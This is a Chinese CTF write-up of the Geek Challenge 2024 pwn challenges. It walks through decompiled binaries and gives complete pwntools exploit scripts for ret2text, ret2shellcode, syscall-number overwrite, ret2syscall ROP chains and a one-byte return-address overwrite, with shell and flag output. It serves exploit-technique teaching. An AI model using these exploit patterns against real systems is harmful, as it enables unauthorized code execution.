18513 字
93 分钟
Geek Challenge 2024 PWN全复现

Geek Challenge 2024 Pwn 全题目复现#

花了点时间复现了今年极客pwn方向所有题目,尽可能写详细了点。

简单的签到#

涉及知识点:ncpwntools的使用

题目给了一个附件main,拖进ida静态分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  welcome();
  math1();
  return 0;
}

welcome()没东西,直接看math1()

int math1()
{
  unsigned int v0; // eax
  unsigned int v2; // [rsp+10h] [rbp-10h]
  unsigned int v3; // [rsp+14h] [rbp-Ch]

  v0 = time(0LL);
  srand(v0);
  v3 = rand() % 10000 + 1;
  v2 = rand() % 10000 + 1;
  printf("%d * %d = ", v3, v2);
  if ( (unsigned int)get_input_with_timeout() != v2 * v3 )
  {
    printf("Incorrect. The correct answer was %d. Exiting...\n", v2 * v3);
    exit(1);
  }
  puts("Correct! Opening shell...");
  return system("/bin/sh");
}

这里用随机数生成了一个乘法算式,算对了直接getshell,用pwntools的API接发模块和eval()即可

EXP

from pwn import *

io = remote('nc1.ctfplus.cn', 26844)

io.sendafter(b'challenge.', b'\n')
exp = io.recvuntil(b'=', drop=True)

ans = str(eval(exp))
io.sendline(ans.encode())

io.interactive()

RESULT

[+] Opening connection to nc1.ctfplus.cn on port 26844: Done
[*] Switching to interactive mode
 Correct! Opening shell...
$ ls
bin
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
main
$ cat flag
SYC{0095ea78-f12e-485b-b2e0-04c93ee126c8}

00000#

涉及知识点:strcmp()函数遇到\x00截断

题目给了一个附件main,拖进ida静态分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [rsp+8h] [rbp-118h]
  char s[128]; // [rsp+10h] [rbp-110h] BYREF
  char v7[136]; // [rsp+90h] [rbp-90h] BYREF
  unsigned __int64 v8; // [rsp+118h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("Here is a secret file. Can you find out its password?");
  generate_password();
  printf("Enter the password: ");
  fgets(s, 128, stdin);
  if ( !strcmp(s, password) )
  {
    puts("Now you have the secret document, please keep it safe.");
    stream = fopen("/home/ctf/flag.txt", "r");
    if ( !stream )
    {
      puts("Error: missing flag.txt.");
      exit(1);
    }
    fgets(v7, 128, stream);
    puts(v7);
  }
  else
  {
    puts("The password is wrong and you cannot access the secret files.");
  }
  return __readfsqword(0x28u) ^ v8;
}

很简单的逻辑,输入密码后用strcmp()比较,正确直接把flag读出来,看看生成密码的generate_password()

unsigned __int64 generate_password()
{
  FILE *stream; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  stream = fopen("/dev/urandom", "r");
  if ( stream )
  {
    fgets(password, 128, stream);
    if ( !fgets(password, 128, stream) )
      perror("Failed to read from /dev/urandom");
    fclose(stream);
  }
  else
  {
    perror("Failed to open /dev/urandom");
  }
  return __readfsqword(0x28u) ^ v2;
}

urandom看似没办法绕过,实际上我们可以利用strcmp()函数的特性,遇到\x00字节会截断字符串,不再比较后面的内容。如果随机生成的密码的第一位恰好是\x00,那么strcmp()会直接判定二者相等。我们写一个脚本来爆破这种情况就行。

EXP

from pwn import *

while True:
    io = remote('nc1.ctfplus.cn', 27514)
    io.sendline(b'\x00')
    log.info('send 0x00')
    io.recvline()
    temp = io.recvline().decode()
    if 'wrong' not in temp:
        flag = io.recvline().decode()
        print(flag)
        break

RESULT

[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
SYC{2f70cf16-a2ab-4c98-954e-2c2fdea00799}

[*] Closed connection to nc1.ctfplus.cn port 27514
[*] Closed connection to nc1.ctfplus.cn port 27514
[*] Closed connection to nc1.ctfplus.cn port 27514
[*] Closed connection to nc1.ctfplus.cn port 27514
[*] Closed connection to nc1.ctfplus.cn port 27514
[*] Closed connection to nc1.ctfplus.cn port 27514
[*] Closed connection to nc1.ctfplus.cn port 27514
[*] Closed connection to nc1.ctfplus.cn port 27514
[*] Closed connection to nc1.ctfplus.cn port 27514

你会栈溢出吗#

涉及知识点:ret2text 题目给了一个附件stackover,查保护

$ checksec stackover
[*] '/ctf/work/Geek2024/Pwn/你会栈溢出吗/stackover'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

只有栈不可执行保护,我们拖进ida看一下反汇编

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  welcome();
  return 0;
}

看看welcome()

int welcome()
{
  char v1[12]; // [rsp+4h] [rbp-Ch] BYREF

  puts("Welcome to geek,what's you name?");
  gets(v1);
  return printf("hello,%s\nDo you know key?", v1);
}

gets()函数不限制用户输入,可以读入超过12字节的字符串,导致栈溢出。同时题目还有key()函数,我们看看伪代码。

__int64 key()
{
  printf("yes,yes,this is key.you can catch me?");
  system("/bin/sh");
  return 0LL;
}

这里就是后门函数。那么我们覆盖welcome()函数的返回地址为key()函数地址,就可以getshell。很简单的ret2text,注意调用system()栈对齐。 EXP

from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['tmux', 'new-window'])

def debug():
    gdb.attach(io)
    pause()

#IO
##io = process("./stackover")
io = remote("nc1.ctfplus.cn",  41375)
ELF = ELF("./stackover")

#init
backdoor = 0x400728
offset = 0xC + 0x8
ret_gadget = 0x40057e

#ret2text
payload = cyclic(offset) + p64(ret_gadget) + p64(backdoor)
io.sendline(payload)
io.interactive()

RESULT

[+] Opening connection to nc1.ctfplus.cn on port 41375: Done
[*] '/ctf/work/Geek2024/Pwn/你会栈溢出吗/stackover'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[DEBUG] Sent 0x25 bytes:
    00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  │aaaa│baaa│caaa│daaa│
    00000010  65 61 61 61  7e 05 40 00  00 00 00 00  28 07 40 00  │eaaa│~·@·│····│(·@·│
    00000020  00 00 00 00  0a                                     │····│·│
    00000025
[*] Switching to interactive mode
[DEBUG] Received 0x21 bytes:
    b"Welcome to geek,what's you name?\n"
Welcome to geek,what's you name?
[DEBUG] Received 0x2e bytes:
    00000000  68 65 6c 6c  6f 2c 61 61  61 61 62 61  61 61 63 61  │hell│o,aa│aaba│aaca│
    00000010  61 61 64 61  61 61 65 61  61 61 7e 05  40 0a 44 6f  │aada│aaea│aa~·│@·Do│
    00000020  20 79 6f 75  20 6b 6e 6f  77 20 6b 65  79 3f        │ you│ kno│w ke│y?│
    0000002e
hello,aaaabaaacaaadaaaeaaa~\x05@
Do you know key?[DEBUG] Received 0x25 bytes:
    b'yes,yes,this is key.you can catch me?'
yes,yes,this is key.you can catch me?$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x42 bytes:
    b'bin\n'
    b'flag\n'
    b'ld-linux-x86-64.so.2\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
    b'libc.so.6\n'
    b'stackover\n'
bin
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
stackover
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2a bytes:
    b'SYC{6b60b978-91e5-484c-9452-0530ac54feda}\n'
SYC{6b60b978-91e5-484c-9452-0530ac54feda}

ez_shellcode#

涉及知识点:ret2shellcode 题目给了一个附件shellcode,查保护

$ checksec shellcode
[*] '/ctf/work/Geek2024/Pwn/ez_shellcode/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

存在栈可执行保护,我们看看反汇编

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[8]; // [rsp+8h] [rbp-18h] BYREF
  void *v5; // [rsp+10h] [rbp-10h]
  size_t len; // [rsp+18h] [rbp-8h]

  init(argc, argv, envp);
  len = sysconf(30);
  v5 = mmap(0LL, len, 3, 34, -1, 0LL);
  if ( v5 == (void *)-1LL )
  {
    perror("mmap");
    return 1;
  }
  else
  {
    shellcode = v5;
    puts("Hello!!!");
    puts("do you know shellcode?");
    memset(shellcode, 144, 0x1F4uLL);
    read(0, shellcode, 0x190uLL);
    puts("please input your name:");
    gets(v4);
    return 0;
  }
}

两个输入点,read()明显提示是输入shellcode,然后通过gets()函数覆盖返回地址跳转到shellcode。这里NX虽然开了,但是题目通过mmap()函数分配了可执行内存,所以还是可以执行shellcode的。 .text段存在后门函数gift(),可以直接执行我们在.bss段上的shellcode,所以gets()直接返回该处

int gift()
{
  if ( mprotect(shellcode, 0x500uLL, 4) != -1 )
    return ((__int64 (*)(void))shellcode)();
  perror("mprotect");
  return munmap(shellcode, 0x500uLL);
}

没有沙盒,所以我们可以直接getshell,shellcode可以直接用pwntools提供的shellcraft.sh()生成,注意要声明环境变量。 EXP

from pwn import *
context(arch='amd64', os='linux', log_level='info', terminal=['tmux', 'splitw', '-h'])

def debug():
    gdb.attch(io)
    pause()

#IO
##io = process('./shellcode')
ELF = ELF('./shellcode')
io = remote('nc1.ctfplus.cn', 40852)

#init
shellcode = asm(shellcraft.sh())
gift_addr = 0x401256
offset = 0x18 + 0x8

#ret2shellcode
payload = cyclic(offset) + p64(gift_addr)
io.sendafter(b'do you know shellcode?', shellcode)
io.sendlineafter(b'name:', payload)
io.interactive()

RESULT

[*] '/ctf/work/Geek2024/Pwn/ez_shellcode/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to nc1.ctfplus.cn on port 40852: Done
[*] Switching to interactive mode

$ ls
bin
dev
flag
lib
lib32
lib64
libx32
shellcode
$ cat flag
SYC{49a21ce8-93e0-44db-a384-cdef9afda1d2}

over_flow??#

涉及知识点:栈溢出覆写.data段,系统调用syscall 题目给了一个附件over_data,查保护

$ checksec over_data
[*] '/ctf/work/Geek2024/Pwn/over_flow??/over_data'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

存在canary,在不绕过canary的情况下无法直接通过栈溢出控制程序执行流,我们看看反汇编。

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("Welcome to 2024 Geek pwn channel!");
  puts("This is a File Management");
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%d", &v3);
      if ( v3 != 1 )
        break;
      save_to_file();
    }
    if ( v3 != 2 )
      exit(0);
    read_from_file();
  }
}

程序实现了一个文件管理系统,有两个功能,保存文件和读取文件。save_to_file()函数会将用户输入的内容保存,read_from_file()函数会将文件的内容打印出来。我们进入这两个函数看看。

unsigned __int64 save_to_file()
{
  int v1; // [rsp+Ch] [rbp-114h]
  char buf[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v3; // [rsp+118h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("please input file name\n>>");
  v1 = read(0, filename, 8uLL);
  if ( filename[v1 - 1] == 10 )
    filename[v1 - 1] = 0;
  if ( !memcmp(filename, "flag", 4uLL) )
  {
    puts("you must't save flag!");
    exit(0);
  }
  puts("what do you want to save?\n>>");
  read(0, buf, 0x120uLL);
  ow_file(filename, buf);
  puts("save success!");
  return v3 - __readfsqword(0x28u);
}

save_to_file()函数会先读入文件名,然后读入文件内容,然后调用ow_file()函数保存文件。

.text:00000000004011F6 ow_file         proc near               ; CODE XREF: save_to_file+F3↓p
.text:00000000004011F6
.text:00000000004011F6 var_10          = qword ptr -10h
.text:00000000004011F6 var_8           = qword ptr -8
.text:00000000004011F6
.text:00000000004011F6 ; __unwind {
.text:00000000004011F6                 endbr64
.text:00000000004011FA                 push    rbp
.text:00000000004011FB                 mov     rbp, rsp
.text:00000000004011FE                 mov     [rbp+var_8], rdi
.text:0000000000401202                 mov     [rbp+var_10], rsi
.text:0000000000401206                 mov     eax, open_fd
.text:000000000040120D                 mov     qword ptr ds:ret_vale, rsi
.text:0000000000401215                 mov     rsi, 41h ; 'A'
.text:000000000040121C                 xor     rdx, rdx
.text:000000000040121F                 syscall                 ; LINUX -
.text:0000000000401221                 mov     rdi, rax
.text:0000000000401224                 mov     rsi, qword ptr ds:ret_vale
.text:000000000040122C                 mov     rdx, 100h
.text:0000000000401233                 mov     qword ptr ds:ret_vale, rax
.text:000000000040123B                 mov     eax, write_fd
.text:0000000000401242                 syscall                 ; LINUX -
.text:0000000000401244                 mov     eax, close_fd
.text:000000000040124B                 mov     rdi, qword ptr ds:ret_vale
.text:0000000000401253                 syscall                 ; LINUX -
.text:0000000000401255                 nop
.text:0000000000401256                 pop     rbp
.text:0000000000401257                 retn

简单审一审汇编,可以看到程序调用了open()write()系统调用,并将文件内容写入到文件中。 再来看看read_from_file()函数。

unsigned __int64 read_from_file()
{
  int v1; // [rsp+Ch] [rbp-114h]
  char v2[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v3; // [rsp+118h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("please input file name\n>>");
  v1 = read(0, filename, 9uLL);
  if ( filename[v1 - 1] == 10 )
    filename[v1 - 1] = 0;
  if ( !memcmp(filename, "flag", 4uLL) )
  {
    puts("you must't save flag!");
    exit(0);
  }
  or_file((__int64)filename, (__int64)v2);
  puts("read success!");
  return v3 - __readfsqword(0x28u);
}

read_from_file()函数也会先读入文件名,然后调用or_file()函数读取文件内容。 这里有一个不容易察觉的关键点

v1 = read(0, filename, 9uLL);

read_from_file()中读入了9个字节,而在save_to_file()中读入了8个字节。 也就是说,这两个函数在读入文件名的时候相差了一个字节,为什么?我们看一下.data段上定义的filename变量

.data:0000000000404060 filename        db 61h, 7 dup(0)

可以看到filename仅有8个字节的空间,而在read_from_file()中读入了9个字节,导致filename覆盖了其他变量。这一点同样可以通过调试发现。

pwndbg> n
aaaaaaaaa
pwndbg> x/20gx 0x404060
0x404060 <filename>:    0x6161616161616161      0x0000000100000061
0x404070 <close_fd>:    0x0000000000000003      0x0000000000000000

在ida中

.data:0000000000404060 filename        db 61h, 7 dup(0)        ; DATA XREF: save_to_file+32↑o
.data:0000000000404060                                         ; save_to_file+57↑o ...
.data:0000000000404068                 public open_fd
.data:0000000000404068 open_fd         dd 2                    ; DATA XREF: ow_file+10↑r
.data:0000000000404068                                         ; or_file+14↑r
.data:000000000040406C                 public write_fd
.data:000000000040406C write_fd        dd 1                    ; DATA XREF: ow_file+45↑r
.data:0000000000404070                 public close_fd
.data:0000000000404070 close_fd        dd 3

可以看到在我们输入了9个’a’后,.data段上的filename变量覆盖了open_fd变量,导致open_fd变量的值被修改为61。紧随其后的就是没有被修改的write_fdclose_fd变量,所以我们可以直接修改filename变量的值,覆盖open_fd变量。 然后在紧随其后的or_file()函数中,再次利用了fd_open系统调用号,可以看看该处的汇编

.text:0000000000401258                 endbr64
.text:000000000040125C                 push    rbp
.text:000000000040125D                 mov     rbp, rsp
.text:0000000000401260                 sub     rsp, 10h
.text:0000000000401264                 mov     [rbp+var_8], rdi
.text:0000000000401268                 mov     [rbp+var_10], rsi
.text:000000000040126C                 mov     eax, open_fd
.text:0000000000401273                 mov     qword ptr ds:us_rsi, rsi
.text:000000000040127B                 xor     rsi, rsi
.text:000000000040127E                 xor     rdx, rdx
.text:0000000000401281                 syscall                 ; LINUX -
.text:0000000000401283                 mov     qword ptr ds:ret_vale, rax
.text:000000000040128B                 mov     eax, cs:ret_vale
.text:0000000000401291                 cmp     eax, 0FFFFFFFFh
.text:0000000000401294                 jnz     short loc_4012AF
.text:0000000000401296                 lea     rax, s          ; "you haven't save the file!"
.text:000000000040129D                 mov     rdi, rax        ; s
.text:00000000004012A0                 call    _puts
.text:00000000004012A5                 mov     edi, 0          ; status
.text:00000000004012AA                 call    _exit

可以看到此处调用了fd_open的syscall,而fd_open是我们可以控制的,如果把fd_open的值改为59,那么对应的系统调用就是execve(),我们在前八个字节中输入/bin/sh\x00,就可以getshell了,执行execve("/bin/sh") EXP

from pwn import *

#io = process('./over_data')
io = remote('nc1.ctfplus.cn', 14654)

payload = b'/bin/sh\x00' + b'\x3b'
io.sendlineafter(b'This is a File Management', b'2')
io.sendafter(b'please input file name\n>>', payload)
io.interactive()

RESULT

[+] Opening connection to nc1.ctfplus.cn on port 14654: Done
[*] Switching to interactive mode

$ ls
bin
dev
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
libexec
libx32
over_data
$ cat flag
flag{3c214e76-cb5e-4fbd-a866-397b2c9d32c6}

买黑吗喽了么#

涉及知识点:整数溢出,ret2syscall 题目给了libc,ld,附件syscall(疑似要打ret2syscall),查保护

$ checksec syscall
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

可以看到程序开启了PIE,那么我们需要先泄露程序中的一个全局变量或者函数地址,然后计算出基地址,再去打ROP。值得注意的是,在开启PIE后,IDA显示的就是偏移量了。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h]

  Balance = 256LL;
  init(argc, argv, envp);
  puts("Wellcome to GEEK Shopping Mall.\n");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        v4 = menu();
        if ( v4 != 1 )
          break;
        shop();
      }
      if ( v4 != 2 )
        break;
      view();
    }
    if ( v4 != 3 )
      break;
    Write();
  }
  return 0;
}

一个简单的循环结构,一开始给了__int64 Balance = 0x100我们看一下其中的功能函数。 shop()

int shop()
{
  int result; // eax
  int v1; // [rsp+Ch] [rbp-4h] BYREF

  puts("Commodity:");
  puts("1. The merchandise of Black Myth: Wukong -> 0x20 yuan.");
  printf("There are %d items of this product left.\n", number);
  puts("2. <<The Journey to the West>> -> 0x10 yuan.");
  printf("There are %d items of this product left.\n", byte_404B);
  puts("3. back.");
  puts("your choice:");
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 == 1 )
  {
    if ( number )
    {
      Balance -= 32LL;
      --number;
      return byte_404C++ + 1;
    }
    return puts("Sorry,already sold out.");
  }
  if ( v1 == 2 )
  {
    if ( byte_404B )
    {
      Balance -= 16LL;
      --byte_404B;
      return byte_404D++ + 1;
    }
    return puts("Sorry,already sold out.");
  }
  return result;
}

买东西,同时在Balance减去对应的数值,察觉到当选项1被买完时Balance就归零了,这时如果再买2,Balance就会溢出变为大数

view()

int view()
{
  signed __int64 v0; // rax

  if ( Balance > 0x100 && FLAG )
  {
    v0 = sys_read(0, str1, 2uLL);
    --FLAG;
  }
  printf("There are %d commodity_1 and %d commodity_2 in your pocket.\nAnd your Balance : 0x", byte_404C, byte_404D);
  if ( !strcmp(str1, str2) )
    return printf("%x yuan.\n", Balance);
  else
    return printf("%x yuan.\n", &Balance);
}

可以看到当Balance大于0x100时,就可以read一下,str1存了字符串%s,如果把它改成%p,程序就会跳转到else支链,打印出Balance的地址。那么PIE就可以绕过了,直接打ret2syscall即可。

Write()

int Write()
{
  signed __int64 v0; // rax
  char v2[80]; // [rsp+0h] [rbp-50h] BYREF

  puts("Tell me your feedback:");
  v0 = sys_read(0, v2, 0x100uLL);
  return puts("Thanks for your feedback!We`ll do it better!");
}

这里明显溢出点,直接打ret2syscall。 看看ROPgadget

$ ropgadget --binary syscall --only "pop|ret"
Gadgets information
============================================================
0x00000000000015dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000000015de : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000000015e0 : pop r14 ; pop r15 ; ret
0x00000000000015e2 : pop r15 ; ret
0x00000000000011f7 : pop rax ; ret
0x00000000000015db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000000015df : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000000011b3 : pop rbp ; ret
0x00000000000011f1 : pop rdi ; ret
0x00000000000011f5 : pop rdx ; ret
0x00000000000015e1 : pop rsi ; pop r15 ; ret
0x00000000000011f3 : pop rsi ; ret
0x00000000000015dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000101a : ret
0x00000000000011e2 : ret 0x10
0x00000000000014e3 : ret 0x100
0x0000000000001430 : ret 2
$ ropgadget --binary syscall --only "syscall"
Gadgets information
============================================================
0x00000000000011ee : syscall

三个寄存器都可以控制,那么我们直接构造以下rop:

rop1=0 ; rdi=0 ; rsi=bss(在bss上打rop) ; rdx=8 ; syscall rop1执行后调用read,读入’/bin/sh\x00’八个字节到bss上 rop2=59 ; rdi=bss ; rsi=0 ; rdx=0 ; syscall rop2执行后调用execve,执行bss上的’/bin/sh’

EXP

from pwn import *
import time
context(arch='amd64', os='linux', log_level='info', terminal=['tmux', 'splitw', '-h'])

#IO
##io = process('./syscall')
io = remote("nc1.ctfplus.cn", 31321)

#leak Balance
for i in range(9):
    io.sendline(b'1')
    time.sleep(0.5)
    io.sendline(b'1')
    time.sleep(0.5)

io.sendline(b'1')
time.sleep(0.5)
io.sendline(b'2')
time.sleep(0.5)

io.sendline(b'2')
time.sleep(0.5)
io.sendline(b'%p')

io.recvuntil(b'Balance : 0x')
Balance_addr = io.recvuntil(b' yuan.\n', drop=True)
exp = Balance_addr + b'-0x4090'
base_addr = eval(exp)
log.success('base_addr: '+hex(base_addr))

#ret2syscall
#init
pop_rdi_offset = 0x11f1
pop_rsi_offset = 0x11f3
pop_rdx_offset = 0x11f5
pop_rax_offset = 0x11f7
syscall_offset = 0x11ee

bss = base_addr + 0x4090
pop_rdi = base_addr + pop_rdi_offset
pop_rsi = base_addr + pop_rsi_offset
pop_rdx = base_addr + pop_rdx_offset
pop_rax = base_addr + pop_rax_offset
syscall = base_addr + syscall_offset

#rop chain
rop = p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(8) + p64(syscall)
rop += p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)

#getshell
payload = cyclic(0x58) + rop
io.sendline(b'3')
io.sendafter(b'feedback:', payload)
time.sleep(0.5)
io.send(b'/bin/sh\x00')

io.interactive()

RESULT

[+] Opening connection to nc1.ctfplus.cn on port 31321: Done
[+] base_addr: 0x5585098d8000
[*] Switching to interactive mode

Thanks for your feedback!We`ll do it better!
$ ls
bin
dev
flag
ld.so.2
lib
lib32
lib64
libc.so.6
libx32
pwn
$ cat flag
SYC{2a5d9c23-fabd-4ee5-8046-ccc7609db2fe}

FindG????t#

涉及知识点:一字节partcial overwrite,magic gadget,爆破libc,数组越界 题目给了一个附件pwn,查保护

$ checksec pwn
[*] '/ctf/work/Geek2024/Pwn/FindG????t/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

拖进ida反汇编一下

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[88]; // [rsp+0h] [rbp-58h] BYREF

  init_func(argc, argv, envp);
  puts("> ");
  read(0, v4, 0x30uLL);
  puts("index:");
  __isoc99_scanf("%d", &index);
  read(0, &v4[index], 1uLL);
  puts("index2:");
  __isoc99_scanf("%d", &index);
  return index;
}

可以看到在此处

  __isoc99_scanf("%d", &index);
  read(0, &v4[index], 1uLL);

这里scanf()读入index,然后第二个read()在v4的地址上根据index作为数组索引读数据。而index没有取值范围限制,所以可以在栈上任意位置覆写一个字节。我们下一步看一看汇编

.text:00000000004010B0 main            proc near               ; DATA XREF: _start+18↓o
.text:00000000004010B0 ; __unwind {
.text:00000000004010B0                 endbr64
.text:00000000004010B4                 push    r12
.text:00000000004010B6                 xor     eax, eax
.text:00000000004010B8                 lea     r12, index
.text:00000000004010BF                 push    rbp
.text:00000000004010C0                 lea     rbp, aD         ; "%d"
.text:00000000004010C7                 push    rbx
.text:00000000004010C8                 sub     rsp, 40h
.text:00000000004010CC                 call    init_func
.text:00000000004010D1                 mov     rbx, rsp
.text:00000000004010D4                 lea     rdi, s          ; "> "
.text:00000000004010DB                 call    _puts
.text:00000000004010E0                 mov     edx, 30h ; '0'  ; nbytes
.text:00000000004010E5                 mov     rsi, rbx        ; buf
.text:00000000004010E8                 xor     edi, edi        ; fd
.text:00000000004010EA                 call    _read
.text:00000000004010EF                 lea     rdi, aIndex     ; "index:"
.text:00000000004010F6                 call    _puts
.text:00000000004010FB                 mov     rsi, r12
.text:00000000004010FE                 mov     rdi, rbp
.text:0000000000401101                 xor     eax, eax
.text:0000000000401103                 call    ___isoc99_scanf
.text:0000000000401108                 movsxd  rax, cs:index
.text:000000000040110F                 mov     edx, 1          ; nbytes
.text:0000000000401114                 xor     edi, edi        ; fd
.text:0000000000401116                 lea     rsi, [rbx+rax]  ; buf
.text:000000000040111A                 call    _read
.text:000000000040111F                 lea     rdi, aIndex2    ; "index2:"
.text:0000000000401126                 call    _puts
.text:000000000040112B                 xor     eax, eax
.text:000000000040112D                 mov     rsi, r12
.text:0000000000401130                 mov     rdi, rbp
.text:0000000000401133                 call    ___isoc99_scanf
.text:0000000000401138                 cmp     cs:index, 10h
.text:000000000040113F                 jz      short loc_40114A
.text:0000000000401141                 xor     rdx, rdx
.text:0000000000401144                 xor     rsi, rsi
.text:0000000000401147                 mov     rdi, rsp
.text:000000000040114A
.text:000000000040114A loc_40114A:                             ; CODE XREF: main+8F↑j
.text:000000000040114A                 mov     eax, cs:index
.text:0000000000401150                 add     rsp, 40h
.text:0000000000401154                 pop     rbx
.text:0000000000401155                 pop     rbp
.text:0000000000401156                 pop     r12
.text:0000000000401158                 retn

可以看到在伪代码中没有的一段magic gadget

xor     rdx, rdx
xor     rsi, rsi
mov     rdi, rsp

rdxrsi寄存器置0,将rsp赋值给rdi,如果我们在rsp上放入/bin/sh\x00,很显然就符合系统调用execve('/bin/sh\x00',0,0),而在loc_40114A处,我们有

mov     eax, cs:index

将index2处赋予的index值赋给eax,这样我们就可以控制eax的值,使其为0x3b从而调用execve()。 但问题还没解决,我们使用ROPgadget --binary ./pwn --only 'syscall'找不到可以用的系统调用。但是该程序显然调用了__libc_start_main()我们可以在这里找到我们需要的syscallgadget 在gdb调试中

pwndbg> x/20i 0x7ffff7db6d90
   0x7ffff7db6d90 <__libc_start_call_main+128>: mov    edi,eax
   0x7ffff7db6d92 <__libc_start_call_main+130>: call   0x7ffff7dd25f0 <__GI_exit>
   0x7ffff7db6d97 <__libc_start_call_main+135>: call   0x7ffff7e1e670 <__GI___nptl_deallocate_tsd>
   0x7ffff7db6d9c <__libc_start_call_main+140>: lock dec DWORD PTR [rip+0x1ef505]        # 0x7ffff7fa62a8 <__nptl_nthreads>
   0x7ffff7db6da3 <__libc_start_call_main+147>: sete   al
   0x7ffff7db6da6 <__libc_start_call_main+150>: test   al,al
   0x7ffff7db6da8 <__libc_start_call_main+152>: jne    0x7ffff7db6db8 <__libc_start_call_main+168>
   0x7ffff7db6daa <__libc_start_call_main+154>: mov    edx,0x3c
   0x7ffff7db6daf <__libc_start_call_main+159>: nop
   0x7ffff7db6db0 <__libc_start_call_main+160>: xor    edi,edi
   0x7ffff7db6db2 <__libc_start_call_main+162>: mov    eax,edx
   0x7ffff7db6db4 <__libc_start_call_main+164>: syscall

syscall不在main函数中,怎么调用呢?这个时候就要我们之前发现的一字节任意覆写了,通过修改main函数的返回地址,直接返回到__libc_start_call_main+164处,即syscall EXP

from pwn import *
context(log_level='info',arch='amd64',os='linux')

index = 255
while index:
    io = remote('nc1.ctfplus.cn', 46357)
    #io = process('./pwn')
    io.sendafter("> \n",b'/bin/sh\x00')
    io.sendlineafter("index:\n","72")
    #sleep(0.85) 
    io.send(p8(index))
    #index -= 1
    try:
        io.sendlineafter("index2:\n", str(0x3b))
        io.recv(timeout=1.5)    
    except EOFError:
        io.close()
        index -= 1
        continue
    io.interactive()
    index -= 1

RESULT

[+] Opening connection to nc1.ctfplus.cn on port 46357: Done
/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py:831: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
exp.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendlineafter("index:\n","72")
/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
exp.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendlineafter("index2:\n", str(0x3b))
